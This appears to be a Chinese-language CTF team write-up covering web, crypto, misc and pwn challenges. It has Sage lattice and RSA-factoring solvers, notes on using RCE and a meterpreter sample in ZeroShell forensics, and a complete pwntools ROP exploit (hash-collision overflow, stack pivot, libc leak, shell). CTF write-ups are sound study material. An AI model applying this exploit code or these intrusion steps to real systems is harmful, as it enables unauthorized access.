Web
W | Safe_Proxy | working:MasterLin
绕过waf+时间盲注:
Crypto
F | rasnd | working:Astrageldon
第一部分:x1与x2很小,可以穷举,对于每个可能的(x1,x2)对,验证是否有
q=\operatorname{gcd}((\text{hint1}+\texttt{0x114})\cdot x_2 - (\text{hint2}+\texttt{0x514})\cdot x_1, n)\in(1,n)即可分解出q。
第二部分:我们知道,n-p-q=\varphi(n)-1,故
x^{n-p-q}\equiv x^{\varphi(n)-1}\equiv x^{-1}\equiv \text{hint} \pmod{n},\quad x=514p-114q
由于514p-114q\in [0,n),\text{hint}^{-1}\bmod{n}=514p-114q。
在整数环上联立方程
\begin{cases}
514p-114q &= \text{hint}^{-1} \bmod{n}\\
pq&=n
\end{cases}即可分解n。
#sagefrom rich.progress import trackfrom Crypto.Util.number import *n,c,hint1,hint2=for x1 in track(range(2**11)): for x2 in range(2**11): if n > gcd((hint1+0x114)*x2 - (hint2+0x514)*x1, n) > 1: q = gcd((hint1+0x114)*x2 - (hint2+0x514)*x1, n) assert n % q == 0 p = n // q print(long_to_bytes(pow(int(c),pow(int(0x10001),-1,int((p-1)*(q-1))),int(n))))n,c,hint =P.<p,q> = ZZ[]print(factor(P.ideal(514*p-114*q-pow(hint,-1,n), p*q-n).groebner_basis()[1]))q =p = n//qprint(long_to_bytes(pow(int(c),pow(int(0x10001),-1,int((p-1)*(q-1))),int(n))))F | fffffhash | working:Astrageldon
已知x,y,\ 256> y\ge 0,\ x>0,那么 \left\vert (x\oplus y)-x \right\vert < 256,也即哈希函数中的异或可以用加法来替代,并且差量操作数很小。据此我们可以将其转换为一个线性的操作:
\text{hash}(\vec{m}) =\text{base\_num}_0\cdot x^n + \sum\limits_{i=0}^{n-1} \widetilde{m}_i\cdot x^{n-1-i}\qquad \text{ on }\mathbb{Z}_{2^{128}},\quad \vec m\in\mathbb{Z}_{256}^n
其中\widetilde{m}_i都是作为未知数的小量,通过格基约化可以求出一组符合要求的解。
最后将差量\widetilde{m}_i转换为字节m_i即可。
n = 100L = matrix(ZZ, n+2, n+2)base_num = 0x6c62272e07bb014262b821756295c58dx = 0x0000000001000000000000000000013bMOD = 2**128L[0,0] = MODfor i in range(n): L[i+1,0] = pow(x, n-1-i, MOD) % MOD L[i+1,i+1] = 1giao=201431453607244229943761366749810895688L[-1,0] = (-giao + base_num * pow(x, n, MOD)) % MODL[-1,-1] = 2**8L_ = L.LLL()for v in L_: res = [] if v[-1] == 256: print(v) base_num = 0x6c62272e07bb014262b821756295c58d v[-2] -= v[0] for b in v[1:-1]: base_num = (base_num * x) & (MOD - 1) res.append(base_num ^^ (base_num + b)) base_num += b print(res) print(bytes(res)) assert (base_num - giao) % MOD == 0F | LWEWL | working:Astrageldon
第一部分的公钥并没有对 lwe_ciphertext_modulus取模,数据的熵不够大,这就导致我们可以很容易地用格基约化等方法求出误差e与私钥s等信息。求出s后,考虑到
\text{lwe\_cipher1}_i = \vec{\text{const}}_i\cdot A \bmod{Q}
\text{lwe\_cipher2}_i = \left(\vec {\text{const}}_i\cdot(A\cdot \vec{s}+P\ \vec{e}) + m_i + P\ e_i'\right) \bmod{Q}
P=\text{lwe\_plaintext\_modulus},\quad Q=\text{lwe\_ciphertext\_modulus}
将 lwe_cipher2 减去 lwe_cipher1 * s,模去P即可得到明文的一字节。变换的过程中还需要加上P的若干整数倍以大致确保不越过[0,Q)的界限。
第二部分需要写出多项式环上乘法的显示表达式以方便得到构造格所需的系数,我们可以引入若干占位元,每个占位元对应格基的一个自由度。我们希望从A\cdot s + e = b中恢复出s,而e的各系数分量均为小量,采用格基约化的方法对前述的格基进行规约即可。
from rich.progress import trackfrom Crypto.Util.number import *lwe_pubkey1, lwe_pubkey2 = load("lwe_public_key.sobj")lwe_cipher1, lwe_cipher2 = load("lwe_ciphertext.sobj")lwe_dimension = 2**9lwe_num_samples = 2**9 + 2**6 + 2**5 + 2**2pp = lwe_plaintext_modulus = next_prime(256)qq = lwe_ciphertext_modulus = next_prime(1048576)A = matrix(ZZ, lwe_pubkey1)b = vector(ZZ, lwe_pubkey2)L = block_matrix([ [A.T.change_ring(ZZ), 0], [matrix(ZZ, b), 1],])L_ = L.LLL()e = L_[0][:-1]/pps = A.change_ring(GF(qq)).solve_right((b - pp*e).change_ring(GF(qq)))bb = []for c1, c2 in track(zip(lwe_cipher1, lwe_cipher2), total = int(len(lwe_cipher1))): bb.append(ZZ(GF(qq)(c2)-(vector(GF(qq), c1)*s.change_ring(GF(qq))) + pp*1000) % pp)print(bytes(bb))# a3bc5491-fa53-4f47a, b, f, rlwe_modulus = load("rlwe_ciphertext.sobj")n = rlwe_dim = 64names = ','.join(['x'] + [f's{i}' for i in range(n)])p = rlwe_modulusP = PolynomialRing(GF(rlwe_modulus), names = names)x = P.gen(0)a = sum(aa*x^i for i,aa in enumerate(list(a)))b = sum(bb*x^i for i,bb in enumerate(list(b)))f = sum(ff*x^i for i,ff in enumerate(list(f)))Q = P.quo(f)s = P.gens()[1:]t = Q(sum(a.monomial_coefficient(x^i)*x^i for i in range(n))) * Q(sum(s_*x^i for i,s_ in enumerate(list(s))))tl = t.lift()tm = tl.monomials()tc = tl.coefficients()L = zero_matrix(ZZ, n + n + 1, n + n + 1)for c, m in zip(tc, tm): j = m.degree(x) i = s.index(m // x^j) L[i, j] = cfor j in range(n): L[j + n, j] = p L[j, j + n] = 1 L[n + n, j] = -b.monomial_coefficient(x^j)L[n + n, n + n] = 1L_ = L.LLL()print(bytes(abs(x) for x in L_[0]))# -8819-856a8fe5ada0Misc
W | zeroshell | working:LiBr

- RCE可以读取默认密码,web ui 里开启 ssh 就能登录。然后 find 就能找到 flag。在/DB/_DB.001/flag或者/Database/flag中。

- 拿到 shell 之后netstat -ano能看到定时往外连接的部分。

- 通过netstat -tp可以看到 pid,查看进程可以找到/proc/$pid/environ,注意到有一个叫做.nginx的东西。在 tmp 目录下可以找到
W | WinFT | working:LiBr
- 好像直接丢云沙箱就能出来了。。是个 msf HTTP reverse meterpreter。

W | sc05_1 | working:LiBr
- excel tcp 选项卡里搜题目中给定 ip1,就能找到。
Pwn
W | novel1 | working:LiBr
wp写在part2的copy里有栈溢出,需要构造unorderedmap的hash冲突,逆向发现为mod59
调试发现key的高位不清空,寻找gadget栈迁移的author处,后面ret2libc
#!/usr/bin/env python3# -*- coding: utf-8 -*import reimport osfrom pwn import *context(arch='amd64', os='linux', log_level='debug')context.terminal = ['tmux', 'splitw', '-h']local = 1ip = ""port = 8888ELF_PATH="./novel1"LIBC_PATH="/lib/x86_64-linux-gnu/libc.so.6"if local: p = process(ELF_PATH)else: p = remote(ip,port)elf = ELF(ELF_PATH)libc = ELF(LIBC_PATH)script = ''' b *0x402CD0'''def dbg(): if local: gdb.attach(p,script) pause()def cmd(c): p.sendlineafter(b"Chapter:",str(c).encode())def part1(Blood,Evidence): cmd(1) p.sendlineafter(b"Blood:",str(Blood).encode()) p.sendlineafter(b"Evidence:",str(Evidence).encode())def part2(Blood): cmd(2) p.sendlineafter(b"Blood:",str(Blood).encode())dbg()pop_rax_rsp_rbp_ret = 0x00000000004025be #: pop rax ; pop rsp ; pop rdi ; nop ; pop rbp ; retpop_rdi_rbp_ret = 0x00000000004025c0pop_rsi_rbp_ret = 0x000000000040494e #: pop rsi ; pop rbp ; retrewrite = 0x40283Cauthor = 0x40A540payload = p64(pop_rdi_rbp_ret) + p64(elf.got['puts']) + p64(0x0) + p64(elf.plt['puts']) + p64(rewrite) + p64(rewrite) + p64(0x4027A7)payload = payload.rjust(0x78,b'a')p.sendlineafter(b"Author: ",payload)for i in range(0x20): if(i == 0x11): part1(0x11*59 + 54,pop_rax_rsp_rbp_ret) elif(i == 0x12): part1(0x12*59 + 54,0x40a580-0x10) else: part1(59*i + 54,i)part2(54)puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))libc_base = puts_addr - libc.symbols['puts']info("libc_base: " + hex(libc_base))system = libc_base + libc.symbols['system']binsh = libc_base + next(libc.search(b'/bin/sh'))gets = libc_base + libc.symbols['gets']payload = p64(0x4025c0+1)*(0x10-5) + p64(pop_rdi_rbp_ret) + p64(author) + p64(author+0x200) + p64(gets)p.sendline(payload)payload = p64(0x4025c3)*0x101 + p64(pop_rdi_rbp_ret) + p64(binsh) + p64(author+0x200) + p64(system)p.sendline(payload)p.interactive()